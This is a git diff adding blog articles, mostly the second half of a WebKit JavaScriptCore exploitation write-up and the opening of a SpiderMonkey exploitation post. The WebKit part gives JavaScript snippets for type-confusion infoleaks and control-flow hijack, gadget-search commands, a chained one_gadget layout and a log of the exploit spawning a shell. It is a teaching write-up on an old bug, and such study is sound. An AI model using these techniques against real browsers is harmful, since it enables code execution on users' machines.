+```
+
+The length field was controllable via user code, however flags were not. This gave me the primitive that I could control the top 32bit of a pointer, and while this might have been doable with some heap spray, I elected to Find a Better Bug(™).
+
+### Salvation Through Symbols
+
+My basic process at this point was to look at [MDN](https://developer.mozilla.org/en-US/docs/Glossary/Primitive) for the types I could instantiate from the interpreter. Most of these were either boxed (`integer`s, `bool`s, etc), `Object`s, or `String`s. However, `Symbol` was a JS primitive had a potentially useful layout:
+
+```text
+x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout JSC Symbol
+Found 1 types matching "Symbol" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
+ +0 { 16} Symbol
+ +0 { 8} JSC::JSCell
+ +0 { 1} JSC::HeapCell
+ +0 < 4> JSC::StructureID m_structureID;
+ +4 < 1> JSC::IndexingType m_indexingTypeAndMisc;
+ +5 < 1> JSC::JSType m_type;
+ +6 < 1> JSC::TypeInfo::InlineTypeFlags m_flags;
+ +7 < 1> JSC::CellState m_cellState;
+ +8 < 8> JSC::PrivateName m_privateName;
+ +8 < 8> WTF::Ref m_uid;
+ +8 < 8> WTF::SymbolImpl * m_ptr;
+Total byte size: 16
+Total pad bytes: 0
+```
+
+At `+8` we have a pointer to a non-butterfly! Additionally, this object passes all the checks on the above code path, leading to a potentially controlled `memcpy` on top of the `SymbolImpl`. Now we just need a way to turn this into an infoleak...
+
+### Diagrams
+
+`WTF::SymbolImpl`’s layout:
+
+```text
+x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout WTF SymbolImpl
+Found 1 types matching "SymbolImpl" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
+ +0 { 48} SymbolImpl
+ +0 { 24} WTF::UniquedStringImpl
+ +0 { 24} WTF::StringImpl
+ +0 < 4> unsigned int m_refCount;
+ +4 < 4> unsigned int m_length;
+ +8 < 8> WTF::StringImpl::(anonymous union) None;
+ +16 < 4> unsigned int m_hashAndFlags;
+ +20 < 4>
+ +20 < 4>
+ +20 < 4>
+ +24 < 8> WTF::StringImpl * m_owner;
+ +32 < 8> WTF::SymbolRegistry * m_symbolRegistry;
+ +40 < 4> unsigned int m_hashForSymbol;
+ +44 < 4> unsigned int m_flags;
+Total byte size: 48
+Total pad bytes: 12
+Padding percentage: 25.00 %
+```
+
+The codepath we’re on expects a butterfly with memory layout simplified to the following:
+
+```text
+ -8 -4 +0 +8 +16
++---------------------+---+-----------+
+|pub length|length| 0 | 1 | 2 |...| n |
++---------------------+---+-----------+
+ ^
++-------------+ |
+|butterfly ptr+---+
++-------------+
+```
+
+However, we’re providing it with something like this:
+
+```text
+ +0 +4 +8
++-----------------------------------------------+
+| OOB |refcount|length|str base ptr|
++-----------------------------------------------+
+ ^
++--------------+ |
+|SymbolImpl ptr+---+
++--------------+
+```
+
+If we recall our earlier pseudocode:
+
+```python
+def appendMemcpy(dst, src):
+ if allocated_size(dst) < sizeof(dst) + sizeof(src):
+ resize(dst)
+
+ memcpy(dst + sizeof(dst), src, sizeof(src));
+```
+
+In the normal butterfly case, it will check the `length` and `public length` fields, located at `-4` and `-8` from the butterfly pointer (i.e `btrfly[-1]` and `btrfly[-2]` respectively). However, when passing `Symbol`s in our typed confused cases those array accesses will be out of bounds, and thus potentially controllable. Let’s walk through the two possibilities.
+
+### OOB memory is a large value
+
+Let’s presume we have a memory layout similar to:
+
+```text
+ OOB OOB
++------------------------------------------+
+|0xffff|0xffff|refcount|length|str base ptr|
++------------------------------------------+
+ ^
+ +---+ |
+ |ptr+-+
+ +---+
+```
+
+The exact OOB values won’t matter, as long as they’re greater than the size of the `dst` plus the `src`. In this case, `resize` in our pseudocode or `ensureLength` (`[4]`) in the actual code will not trigger a reallocation and object move, resulting in a direct `memcpy` on top of `refcount` and `length`. From here, we can turn this into a relative read infoleak by overwriting the length field.
+
+For example, if we store a function reference to `arrayProtoPrivateFuncAppendMemcpy` in a variable named `busted_concat` and then trigger the bug, like this:
+
+```js
+let x = Symbol("AAAA");
+
+let y = [];
+y.push(new Int64('0x000042420000ffff').asDouble());
+
+busted_concat(x, y, 0);
+```
+
+Note: `Int64` can be found [here](https://github.com/saelo/jscpwn/blob/master/int64.js) and is, of course, covered in [saelo’s Phrack article](http://phrack.org/papers/attacking_javascript_engines.html).
+
+We would then end up with a `Symbol` `x` with fields:
+
+```
+ refcount length
++----------------------------+
+| 0x4242 |0xffff|str base ptr|
++----------------------------+
+```
+
+`str base ptr` will point to `AAAA`, however instead of having a length of `4`, it will have a length of `0xffff`. To access this memory, we can extract the `String` from a `Symbol` with:
+
+```js
+let leak = x.toString().charCodeAt(0x1234);
+```
+
+`toString()` in this case is actually kind of complicated under the hood. My understanding is that all strings in JSC are “roped”, meaning any existing substrings are linked together with pointers as opposed to linearly laid out in memory. However this detail doesn’t really affect us, for our purposes a string is created out of our controlled length and the existing string base pointer, with no terminating characters to be concerned with. It is possible to crash here if we were to index outside of mapped memory, but this hasn’t happened in my experience. As an additional minor complication, strings come in two varieties, 8bit and UTF-16. We can easily work around this with a basic heuristic: if we read any values larger than 255 we just assume it is a UTF-16 string.
+
+None of this changes the outcome of the snippet above, `leak` now contains the contents of OOB memory. Boom, relative memory read :)
+
+### OOB Memory is a zero
+
+On the other hand, let’s assume the OOB memory immediately before our target `SymbolImpl` is all zeros. In this case, `resize` / `ensureLength` _will_ trigger a reallocation and object move. `ensureLength` more or less corresponds to the following pseudocode:
+
+```python
+if sizeof(this.butterfly) + sizeof(other.butterfly) > self.sz:
+ new_btrfly = alloc(sizeof(this.butterfly) + sizeof(other.butterfly));
+ memcpy(new_btrfly, this.butterfly, sizeof(this.butterfly));
+ this.butterfly = new_btrfly;
+```
+
+Or in words: if the existing butterfly isn’t large enough to hold a combination of the two butterflies, allocate a larger one, copy the existing butterfly contents into it, and assign it. Note that this does not actually do the concatenation, it just makes sure the destination will be large enough when the concatenation is actually performed.
+
+This turns out to also be quite useful to us, especially if we already have the relative read above. Assuming we have a `SymbolImpl` starting at address `0x4008` with a memory layout of:
+
+```text
+ OOB OOB
+ +------------------------------------------+
+0x4000: |0x0000|0x0000|refcount|length|str base ptr|
+ +------------------------------------------+
+ ^
+ +---+ |
+ |ptr+-+
+ +---+
+```
+
+And, similar to the large value case above, we trigger the bug:
+
+```js
+let read_target = '0xdeadbeef';
+
+let x = Symbol("AAAA");
+
+let y = [];
+y.push(new Int64('0x000042420000ffff').asDouble());
+y.push(new Int64(read_target).asDouble());
+
+busted_concat(x, y, 0);
+```
+
+We end up with a “`SymbolImpl`” at a new address, `0x8000`:
+
+```text
+ refcount length str base ptr
+ +----------------------------+
+0x8000: | 0x4242 |0xffff| 0xdeadbeef |
+ +----------------------------+
+```
+
+In this case, we’ve managed to conjure a complete `SymbolImpl`! We might not need to allocate a backing string for this Symbol (i.e. “AAAA”), but doing so can make it slightly easier to debug. The `ensureLength` code basically decided to “resize” our `SymbolImpl`, and by doing so allowed us to fully control the contents of a new one. This now means that if we do
+
+```js
+let leak = x.toString().charCodeAt(0x5555);
+```
+
+We will be dereferencing `*(0xdeadbeef + 0x5555)`, giving us a completely arbitrary memory read. Obviously this depends on a relative leak, otherwise we wouldn’t have a valid mapped address to target. Additionally, we could have overwritten the `str base pointer` in the non-zero length case (because the memcpy is based on the sizeof the source), but I found this method to be slightly more stable and repeatable.
+
+With this done we now have both relative and arbitrary infoleaks :)
+
+### Notes on `fastMalloc`
+
+We will get into more detail on this in a second, however I want to cover how we control the first bytes prior the `SymbolImpl`, as being able to control which `ensureLength` codepath we hit is important (we need to get the relative leak before the absolute). This is partially where targeting `jsc` instead of Webkit proper made my life easier: I had more or less deterministic heap layout for all of my runs, specifically:
+
+```js
+// this symbol will always pass the ensureLength check
+let x = Symbol('AAAA');
+
+function y() {
+ // this symbol will always fail the ensureLength check
+ let z = Symbol('BBBB');
+}
+```
+
+To be honest, I didn’t find the root cause for why this was the case; I just ran with it. `SymbolImpl` objects here are allocated via `fastMalloc`, which seems to be used primarily by the JIT, `SymbolImpl`, and `StringImpl`. Additionally (and unfortunately) `fastMalloc` is used by `print()`, meaning if we were interested in porting our exploit from `jsc` to WebKit we would likely have to redo most of the heap offsets (in addition to spraying to get control over the `ensureLength` codepath).
+
+While this approach is untested, something like
+
+```js
+let x = 'AAAA'.blink();
+```
+
+Will cause `AAAA` to be allocated inline with the allocation metadata via `fastMalloc`, as long as your target string is short enough. By spraying a few `blink`’d objects to fill in any holes, it should be possible to to control `ensureLength` and get the relative infoleak to make the absolute infoleak.
+
+## Arbitrary Write
+
+Let’s recap where we are, where we’re trying to go, and what’s left to do:
+
+We can now read and leak arbitrary browser memory.
+We have a promising looking primitive for a memory write (the `memcpy` in the case where we do not resize).
+If we can turn that relative memory write into an arbitrary write we can move on to targeting some vtables or saved program counters on the stack, and hijack control flow to win.
+
+How hard could this be?
+
+### Failure: NaN boxing
+
+One of the first ideas I had to get an arbitrary write was passing it a numeric value as the `dst`. Our `busted_concat` can be simplified to a weird version of `memcpy()`, and instead of passing it `memcpy(Symbol, Array, size)` could we pass it something like `memcpy(0x41414141, Array, size)`? We would need to create an object at the address we passed in, but that shouldn’t be too difficult at this point: we have a good infoleak and the ability to instantiate memory with arbitrary values via `ArrayWithDouble`. Essentially, this is asking if we can use this function reference to get us a `fakeobj()` like primitive. There are basically two possibilities to try, and neither of them work.
+
+First, let’s take the integer case. If we pass `0x41414141` as the `dst` parameter, this will be encoded into a `JSValue` of `0xffff000041414141`. That’s a non-canonical address, and even if it weren’t, it would be in kernel space. Due to this integer tagging, it is impossible to get a JSValue that is an integer which is also a valid mapped memory address, so the integer path is out.
+
+Second, let’s examine what happens if we pass it a double instead: `memcpy(new Int64(0x41414141).asDouble(), Array, size)`. In this case, the double should be using all 64 bits of the address, so it might be possible to construct a double who’s representation is a mapped memory location. However, JavaScriptCore handles this case as well: they use a floating point representation which has `0x0001000000000000` added to the value when expressed as a `JSValue`. This means, like integers, doubles can never correspond to a useful memory address.
+
+For more information on this, check out [this comment in JSCJSValue.h](https://github.com/WebKit/webkit/blob/master/Source/JavaScriptCore/runtime/JSCJSValue.h#L365) which explains the value tagging in more detail.
+
+### Failure: Smashing fastMalloc
+
+In creating our relative read infoleak, we only overwrote the `refcount` and `length` fields of the target `SymbolImpl`. However, this `memcpy` should be significantly more useful to us: because the size of the copy is related to the size of the source, we can overwrite up to the OOB size field. Practically, this turns into an arbitrary overwrite of `SymbolImpl`s.
+
+As mentioned previously, `SymbolImpl` get allocated via `fastMalloc`. To figure this out, we need to leave JSC and check out the Web Template Framework or WTF. WTF, for lack of a better analogy, forms a kind of stdlib for JSC to be built on top of it. If we look up `WTF::SymbolImpl` from our class dump above, we find it in [`Source/WTF/wtf/text/SymbolImpl.h`](https://github.com/WebKit/webkit/blob/e72e58665d57523f6792ad3479613935ecf9a5e0/Source/WTF/wtf/text/SymbolImpl.h#L34). Specifically, following the class declarations that are of interest to us:
+
+```cpp
+class SymbolImpl : public UniquedStringImpl {
+```
+
+[`Source/WTF/wtf/text/UniquedStringImpl.h`](https://github.com/WebKit/webkit/blob/e72e58665d57523f6792ad3479613935ecf9a5e0/Source/WTF/wtf/text/UniquedStringImpl.h#L35)
+
+```cpp
+class UniquedStringImpl : public StringImpl {
+```
+[`/Source/WTF/wtf/text/StringImpl.h`](https://github.com/WebKit/webkit/blob/e72e58665d57523f6792ad3479613935ecf9a5e0/Source/WTF/wtf/text/StringImpl.h#L131)
+
+```cpp
+class StringImpl {
+ WTF_MAKE_NONCOPYABLE(StringImpl); WTF_MAKE_FAST_ALLOCATED;
+```
+
+`WTF_MAKE_FAST_ALLOCATED` is a macro which expands to cause objects of this type to be allocated via `fastMalloc`. This help forms our target list: anything that is tagged with `WTF_MAKE_FAST_ALLOCATED`, or allocated directly via `fastMalloc` is suitable, as long as we can force an allocation from the interpreter.
+
+To save some space: I was unsuccessful at finding any way to turn this `fastMalloc` overflow into an arbitrary write. At one point I was absolutely convinced I had a method of partially overwriting a `SymbolImpl`, converting it to a to String, then overwriting that, thus bypassing the flags restriction mentioned earlier... but this didn’t work (I confused `JSC::JSString` with `WTF::StringImpl`, amongst other problems).
+
+All the things I could find to overwrite in the `fastMalloc` heap were either `String`s (or `String`-like things, e.g. `Symbol`s) or were JIT primitives I didn’t want to try to understand. Alternatively I could have tried to target `fastMalloc` metadata attacks -- for some reason this didn’t occur to me until much later and I haven’t looked at this at all.
+
+Remember when I mentioned the potential downsides of targeting `jsc` specifically? This is where they start to come into play. It would be really nice at this point to have a richer set of objects to target here, specifically DOM or other browser objects. More objects would give me additional avenues on three fronts: more possibilities to type confuse my existing busted functions, more possibilities to overflow in the `fastMalloc` heap, and more possibilities to obtain references to useful functions.
+
+At this point I decided to try to find a different chain of functions calls which would use the same bug but give me a reference to a different runtime function.
+
+## Control Flow
+
+My general workflow when auditing other functions for our candidate pattern was to look at the code exposed via [`builtins`](https://github.com/WebKit/webkit/tree/e72e58665d57523f6792ad3479613935ecf9a5e0/Source/JavaScriptCore/builtins), find native functions, and then audit those native functions looking for things that had JSValue’s evaluated. While this found other instances of this pattern (e.g. in the RegExp code), they were not usable -- the C++ runtime functions would do additional checks and error out. However when searching, I stumbled onto another p0 bug with the same CVE attributed, [p0 bug 1036](https://bugs.chromium.org/p/project-zero/issues/detail?id=1036). Reproducing from the PoC there:
+
+```js
+var i = new Intl.DateTimeFormat();
+var q;
+
+function f(){
+ q = f.caller;
+ return 10;
+}
+
+
+i.format({valueOf : f});
+
+q.call(0x77777777);
+```
+
+This bug is very similar to our earlier bug and originally I was confused as to why it was a separate p0 bug. Both bugs manifest in the same way, by giving you a non-properly-typechecked reference to a function, however the root cause that makes the bugs possible is different. In the `appendMemcpy` case this is due to a lack of checks on `use strict` code. This appears to be a “regular” type confusion, unrelated to `use strict`. These bugs, while different, are similar enough that they share a CVE and a fix.
+
+So, with this understood can we use `Intl.DateTimeFormat` usefully to exploit `jsc`?
+
+### Intl.DateTimeFormat Crash
+
+What’s the outcome if we run that PoC?
+
+```text
+Thread 1 "jsc" received signal SIGSEGV, Segmentation fault.
+…
+$rdi : 0xffff000077777777
+...
+ → 0x7ffff77a8960 cmp BYTE PTR [rdi+0x18], 0x0
+```
+
+Ok, so we’re treating a NaN boxed integer as an object. What if we pass it an object instead?
+
+```js
+// ...
+q.call({a: new Int64('0x41414141')});
+```
+
+Results in:
+
+```text
+Thread 1 "jsc" received signal SIGSEGV, Segmentation fault.
+...
+$rdi : 0x0000000000000008
+ ...
+ → 0x7ffff77a4833 mov eax, DWORD PTR [rdi]
+```
+
+Hmm.. this also doesn’t look immediately useful. As a last ditch attempt, reading the docs we notice there is a both an `Intl.DateTimeFormat` and an `Intl.NumberFormat` with a similar `format` call. Let’s try getting a reference to that function instead:
+
+```js
+load('utils.js')
+load('int64.js');
+
+var i = new Intl.NumberFormat();
+var q;
+
+function f(){
+ q = f.caller;
+ return 10;
+}
+
+
+i.format({valueOf : f});
+
+q.call({a: new Int64('0x41414141')});
+```
+
+Giving us:
+
+```text
+Thread 1 "jsc" received signal SIGSEGV, Segmentation fault.
+…
+$rax : 0x0000000041414141
+…
+ → 0x7ffff4b7c769 call QWORD PTR [rax+0x48]
+```
+
+Yeah, we can probably exploit this =p
+
+I’d like to say that finding this was due to a deep reading and understanding of WebKit’s internationalization code, but really I was just trying things at random until something crashed in a useful looking state. I’m sure I tried dozens of other things that didn’t end up working out along the way... From a pedagogical perspective, I’m aware that listing random things I tried is not exactly optimal, but that’s actually how I did it so :)
+
+### Exploit Planning
+
+Let’s pause to take stock of where we’re at:
+
+* We have an arbitrary infoleak
+* We have a relative write and no good way to expand it to an arbitrary write
+* We have control over the program counter
+
+Using the infoleak we can find pretty much anything we want, thanks to linux loader behavior (`libc.so.6` and thus `system()` will always be at a fixed offset from `libJavaScriptCore.so` which we already have the base address of leaked). A “proper” exploit would take a arbitrary shellcode and result in it’s execution, but we can settle with popping a shell.
+
+The ideal case here would be we have control over `rdi` and can just point `rip` at `system()` and we’d be done. Let’s look at the register state where we hijack control flow, with pretty printing from [@_hugsy](https://twitter.com/_hugsy)’s excellent [gef](https://github.com/hugsy/gef).
+
+```text
+$rax : 0x0000000041414141
+$rbx : 0x0000000000000000
+$rcx : 0x00007fffffffd644 → 0xb2de45e000000000
+$rdx : 0x00007fffffffd580 → 0x00007ffff4f14d78 → 0x00007ffff4b722d0 → lea rax, [rip+0x3a2a91] # 0x7ffff4f14d68 <_ZTVN6icu_5713FieldPositionE>
+$rsp : 0x00007fffffffd570 → 0x7ff8000000000000
+$rbp : 0x00007fffffffd5a0 → 0x00007ffff54dfc00 → 0x00007ffff51f30e0 → lea rax, [rip+0x2ecb09] # 0x7ffff54dfbf0 <_ZTVN6icu_5713UnicodeStringE>
+$rsi : 0x00007fffffffd5a0 → 0x00007ffff54dfc00 → 0x00007ffff51f30e0 → lea rax, [rip+0x2ecb09] # 0x7ffff54dfbf0 <_ZTVN6icu_5713UnicodeStringE>
+$rdi : 0x00007fffb2d5c120 → 0x0000000041414141 ("AAAA"?)
+$rip : 0x00007ffff4b7c769 → call QWORD PTR [rax+0x48]
+$r8 : 0x00007fffffffd644 → 0xb2de45e000000000
+$r9 : 0x0000000000000000
+$r10 : 0x00007ffff35dc218 → 0x0000000000000000
+$r11 : 0x00007fffb30065f0 → 0x00007fffffffd720 → 0x00007fffffffd790 → 0x00007fffffffd800 → 0x00007fffffffd910 → 0x00007fffb3000000 → 0x0000000000000003
+$r12 : 0x00007fffffffd644 → 0xb2de45e000000000
+$r13 : 0x00007fffffffd660 → 0x0000000000000000
+$r14 : 0x0000000000000020
+$r15 : 0x00007fffb2d5c120 → 0x0000000041414141 ("AAAA"?)
+```
+
+So, `rax` is fully controlled and `rdi` and `r15` are pointers to `rax`. Nothing else seems particularly useful. The ideal case is probably out, barring some significant memory sprays to get memory addresses that double as useful strings. Let’s see if we can do it without `rdi`.
+
+### one_gadget
+
+On linux, there is a handy tool for this by [@david924j](https://twitter.com/david942j) called [one_gadget](https://github.com/david942j/one_gadget). `one_gadget` is pretty straightforward in its use: you give it a libc, it gives you the offsets and constraints for PC values that will get you a shell. In my case:
+
+```text
+x@webkit:~$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
+0x41bce execve("/bin/sh", rsp+0x30, environ)
+constraints:
+ rax == NULL
+
+0x41c22 execve("/bin/sh", rsp+0x30, environ)
+constraints:
+ [rsp+0x30] == NULL
+
+0xe1b3e execve("/bin/sh", rsp+0x60, environ)
+constraints:
+ [rsp+0x60] == NULL
+```
+
+So, we have three constraints, and if we can satisfy any one of them, we’re done. Obviously the first is out -- we take control of PC with a `call [rax+0x48]` so `rax` cannot be `NULL`. So, now we’re looking at stack contents. Because nothing is ever easy, neither of the stack based constraints are met either. Since the easy solutions are out, let’s look at what we have in a little more detail.
+
+### Memory layout and ROP
+
+```text
+ +------------------+
+rax -> |0xdeadbeefdeadbeef|
+ +------------------+
+ | ... |
+ +------------------+
++0x48 |0x4141414141414141| <- new rip
+ +------------------+
+```
+
+To usefully take control of execution, we will need to construct an array with our target PC value at offset `+0x48`, then call our type confusion with that value. Because we can construct `ArrayWithDouble`’s arbitrary, this isn’t really a problem: populate the array, use our infoleak to find the array base, use that as the type confusion value.
+
+A normal exploit path in this case will focus on getting a stack pivot and setting up a rop chain. In our case, if we wanted to try this the code we would need would be something like:
+
+```asm
+mov X, [rdi] ; or r15
+mov Y, [X]
+mov rsp, Y
+ret
+```
+
+Where X and Y can be any register. While some code with these properties likely exists inside some of the mapped executable code in our address space, searching for it would require some more complicated tooling than I was familiar with or felt like learning. So ROP is probably out for now.
+
+### Reverse gadgets
+
+By this point we are very familiar with the fact that WebKit is C++, and C++ famously makes heavy use of function indirection much to the despair of reverse engineers and glee of exploit writers. Normally in a ROP chain we find snippets of code and chain them together, using `ret` to transfer control flow between them but that won’t work in this case. However, what if we could leverage C++’s indirection to get us the ability to execute gadgets. In our specific current case, we’re taking control of PC on a `call [rax + 0x48]`, with a fully controlled `rax`. Instead of looking for gadgets that end in `ret`, what if we look for gadgets that end in `call [rax + n]` and stitch them together.
+
+```text
+x@webkit:~$ objdump -M intel -d ~/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so \
+ | grep 'call QWORD PTR \[rax' \
+ | wc -l
+7214
+```
+
+7214 gadgets is not a bad playground to choose from. Obviously `objdump` is not the best disassembler for this as it won’t find all instances (e.g. overlapping/misaligned instructions), but it should be good enough for our purposes. Let’s combine this idea with `one_gadget` constraints. We need a series of gadgets that:
+
+* Zero a register
+* Write that register to `[rsp+0x28]` or `[rsp+0x58]`
+* All of which end in a `call [rax+n]`, with each `n` being unique
+
+Why `+0x28` or `+0x58` instead of `+0x30` or `+0x60` like `one_gadget`’s output? Because the the final call into `one_gadget` will push the next PC onto the stack, offsetting it by 8. With a little bit of grepping, this was surprisingly easy to find. We’re going to search backwards, first, let’s go for the stack write.
+
+```text
+x@webkit:~$ objdump -M intel -d ~/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so \
+ | grep -B1 'call QWORD PTR \[rax' \
+ | grep -A1 'mov QWORD PTR \[rsp+0x28\]'
+...
+ 5f6705: 4c 89 44 24 28 mov QWORD PTR [rsp+0x28],r8
+ 5f670a: ff 50 60 call QWORD PTR [rax+0x60]
+...
+```
+
+This find us four unique results, with the one we’ll use being the only one listed. Cool, now we just need to find a gadget to zero `r8`...
+
+```text
+x@webkit:~$ objdump -M intel -d ~/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so \
+ | grep -B4 'call QWORD PTR \[rax' \
+ | grep -A4 'xor r8'
+…
+ 333503: 45 31 c0 xor r8d,r8d
+ 333506: 4c 89 e2 mov rdx,r12
+ 333509: 48 89 de mov rsi,rbx
+ 33350c: ff 90 f8 00 00 00 call QWORD PTR [rax+0xf8]
+...
+```
+For this one, we need to broaden our search a bit, but still find what we need without too much trouble (and have our choice of five results, again with the one we’ll use being the only one listed). Again, `objdump` and `grep` are not the best tool for this job, but if it’s stupid and it works…
+
+One takeaway from this section is that `libJavaScriptCore` is over 12mb of executable code, and this means your bigger problem is figuring what to look for as opposed to finding it. With that much code, you have an embarrassment of useful gadgets. In general, it made me curious as to the practical utility of fancy gadget finders on larger binaries (at least in case where the payloads don’t need to be dynamically generated).
+
+In any case, we now have all the pieces we need to trigger and land our exploit.
+
+## Putting it all together
+
+To finish this guy off, we need to construct our pseudo jump table. We know we enter into our chain with a `call [rax+0x48]`, so that will be our first gadget, then we look at the offset of the call to determine the next one. This gives us a layout like this:
+
+```text
+ +------------------+
+rax -> |0xdeadbeefdeadbeef|
+ +------------------+
+ | ... |
+ +------------------+
++0x48 | zero r8 | <- first call, ends in call [rax+0xf8]
+ +------------------+
+ | ... |
+ +------------------+
++0x60 | one gadget | <- third call, gets us our shell
+ +------------------+
+ | ... |
+ +------------------+
++0xf8 | write stack | <- second call, ends in call [rax+0x60]
+ +------------------+
+```
+
+We construct this array using normal JS, then just chase pointers from leaks we have until we find the array. In my implementation I just used a magic 8 byte constant which I searched for, effectively performing a big `memmem()` on the heap. Once it’s all lined up, the dominoes fall and `one_gadget` gives us our shell :)
+
+```text
+x@webkit:~/babys-first-webkit$ ./jsc zildjian.js
+setting up ghetto_memcpy()...
+done:
+function () {
+ [native code]
+}
+
+setting up read primitives...
+done.
+
+leaking string addr...
+string @ 0x00007feac5b96814
+
+leaking jsc base...
+reading @ 0x00007feac5b96060
+libjsc .data leak: 0x00007feaca218f28
+libjsc .text @ 0x00007feac95e8000
+libc @ 0x00007feac6496000
+one gadget @ 0x00007feac64d7c22
+
+leaking butterfly arena...
+reading @ 0x00007feac5b95be8
+buttefly arena leak: 0x00007fea8539eaa0
+
+searching for butterfly in butterfly arena...
+butterfly search base: 0x00007fea853a8000
+found butterfly @ 0x00007fea853a85f8
+
+replacing array search tag with one shot gadget...
+setting up take_rip...
+done:
+function format() {
+ [native code]
+}
+setting up call target: 0x00007fea853a85b0
+getting a shell... enjoy :)
+$ id
+uid=1000(x) gid=1000(x) groups=1000(x),27(sudo)
+```
+
+The exploit is here: [zildjian.js](https://gist.github.com/yrp604/5ef4996357e78da237be3727808174a0). Be warned that while it seems to be 100% deterministic, it is incredibly brittle and includes a bunch of offsets that are specific to my box. Instead of fixing the exploit to make it general purpose, I opted to provide all the info for you to do it yourself at home :)
+
+If you have any questions, or if you have suggestions for better ways to do anything, be it exploit specifics or general approaches please (really) drop me a line on Twitter or IRC. As the length of this article might suggest, I’m happy to discuss this to death, and one of my hopes in writing this all down is that someone will see me doing something stupid and correct me.
+
+## Conclusion
+
+With the exploit working, let’s reflect on how this was different from common CTF problems. There are two difference which really stand out to me:
+
+* The bug is more subtle than a typical CTF problem. This makes sense, as CTF problems are often meant to be understood within a ~48 hour period, and when you can have bigger/more complex systems you have more opportunity for mistakes like these.
+* CTF problems tend to scale up difficulty by giving worse exploit primitives, rather than harder bugs to find. We’ve all seen contrived problems where you get execution control in an address space with next to nothing in it, and need to MacGyver your way out. While this can be a fun and useful exercise, I do wish there were good ways to include the other side of the coin.
+
+Some final thoughts:
+
+* This was significantly harder than I expected. I went in figuring I would have some fairly localized code, find a heap smash, relative write, or UaF and be off to the races. While that may be true for some browser bugs, in this case I needed a deeper understanding of browser internals. My suspicion is that this was not the easiest bug to begin browser exploitation with, but on the upside it was very… educational.
+* Most of the work here was done over a ~3 month period in my free time. The initial setup and research to get a working infoleak took just over a month, then I burned over a month trying to find a way to get an arbitrary write out of `fastMalloc`. Once I switched to `Intl.NumberFormat` I landed the exploit quickly.
+* I was surprised by how important object layouts were for exploitation, and how relatively poor the tooling was for finding and visualizing objects that could be instantiated and manipulated from the runtime.
+* With larger codebases such as this one, when dealing with an unknown component or function call I had the most consistent success balancing an approach of guessing what I viewed as likely behavior and reading and understanding the code in depth. I found it was very easy to get wrapped up in guessing how something worked because I was being lazy and didn’t want to read the code, or alternatively to end up reading and understanding huge amounts of code that ended up being irrelevant to my goals.
+
+Most of these points boil down to “more code to understand makes it more work to exploit”. Like most problems, once you understand the components the solution is fairly simple. With a larger codebase the most time by far was spent reading and playing with the code to understand it better.
+
+I hope you’ve enjoyed this writeup, it would not have been possible without significant assistance from a bunch of people. Thanks to [@natashenka](https://twitter.com/natashenka) for the bugs, [@agustingianni](https://twitter.com/agustingianni) for answering over a million questions, [@5elo](https://twitter.com/5aelo) and [@_niklasb](https://twitter.com/_niklasb) for the Phrack article and entertaining my half-drunk questions during CanSec respectively, [@0vercl0k](https://twitter.com/0vercl0k) who graciously listened to me rant about butterflies at least twenty times, [@itszn13](https://twitter.com/itszn13) who is definitely the the best RPISEC alumnus of all time, and [@mongobug](https://twitter.com/mongobug) who provided helpful ideas and shamed me into finishing exploit and writeup.
+
diff --git a/content/articles/exploitation/exploiting_spidermonkey.md b/content/articles/exploitation/exploiting_spidermonkey.md
new file mode 100644
index 0000000..761a424
--- /dev/null
+++ b/content/articles/exploitation/exploiting_spidermonkey.md
@@ -0,0 +1,2523 @@
+Title: Introduction to SpiderMonkey exploitation.
+Date: 2018-11-19 08:25
+Tags: spidermonkey, blazefox, exploitation, windows, ttd
+Authors: Axel "0vercl0k" Souchet
+
+# Introduction
+This blogpost covers the development of three exploits targeting SpiderMonkey JavaScript Shell interpreter and Mozilla Firefox on Windows 10 RS5 64-bit from the perspective of somebody that has never written a browser exploit nor looked closely at any JavaScript engine codebase.
+
+As you have probably noticed, there has been a LOT of interest in exploiting browsers in the past year or two. Every major CTF competition has at least one browser challenge, every month there are at least a write-up or two touching on browser exploitation. It is just everywhere. That is kind of why I figured I should have a little look at what a JavaScript engine is like from inside the guts, and exploit one of them. I have picked Firefox's SpiderMonkey JavaScript engine and the challenge [Blazefox](https://ctftime.org/task/6000) that has been written by [itszn13](https://twitter.com/itszn13).
+
+In this blogpost, I present my findings and the [three exploits](https://github.com/0vercl0k/blazefox/blob/master/exploits) I have written during this quest. Originally, the challenge was targeting a Linux x64 environment and so naturally I decided to exploit it on Windows x64 :). Now you may wonder why three different exploits? Three different exploits allowed me to take it step by step and not face all the complexity at once. That is usually how I work day to day, I make something small work and iterate to build it up.
+
+Here is how I organized things:
+
+ * The first thing I wrote is a WinDbg JavaScript extension called [sm.js](https://github.com/0vercl0k/windbg-scripts/tree/master/sm) that gives me visibility into a bunch of stuff in SpiderMonkey. It is also a good exercise to familiarize yourself with the various ways objects are organized in memory. It is not necessary, but it has been definitely useful when writing the exploits.
+
+ * The first exploit, `basic.js`, targets a very specific build of the JavaScript interpreter, `js.exe`. It is full of hardcoded ugly offsets, and would have no chance to land elsewhere than on my system with this specific build of `js.exe`.
+
+ * The second exploit, `kaizen.js`, is meant to be a net improvement of `basic.js`. It still targets the JavaScript interpreter itself, but this time, it resolves dynamically a bunch of things like a big boy. It also uses the baseline JIT to have it generate ROP gadgets.
+
+ * The third exploit, `ifrit.js`, finally targets the Firefox browser with a little extra. Instead of just leveraging the baseline JIT to generate one or two ROP gadgets, we make it JIT a whole native code payload. No need to ROP, scan for finding Windows API addresses or to create a writable and executable memory region anymore. We just redirect the execution flow to our payload inside the JIT code. This might be the less dull / interesting part for people that knows SpiderMonkey and have been doing browser exploitation already :).
+
+Before starting, for those who do not feel like reading through the whole post: **TL;DR** I have created a [blazefox](https://github.com/0vercl0k/blazefox) GitHub repository that you can clone with all the materials. In the repository you can find:
+
+* [sm.js](https://github.com/0vercl0k/blazefox/tree/master/sm) which is the debugger extension mentioned above,
+* The source code of the three exploits in [exploits](https://github.com/0vercl0k/blazefox/tree/master/exploits),
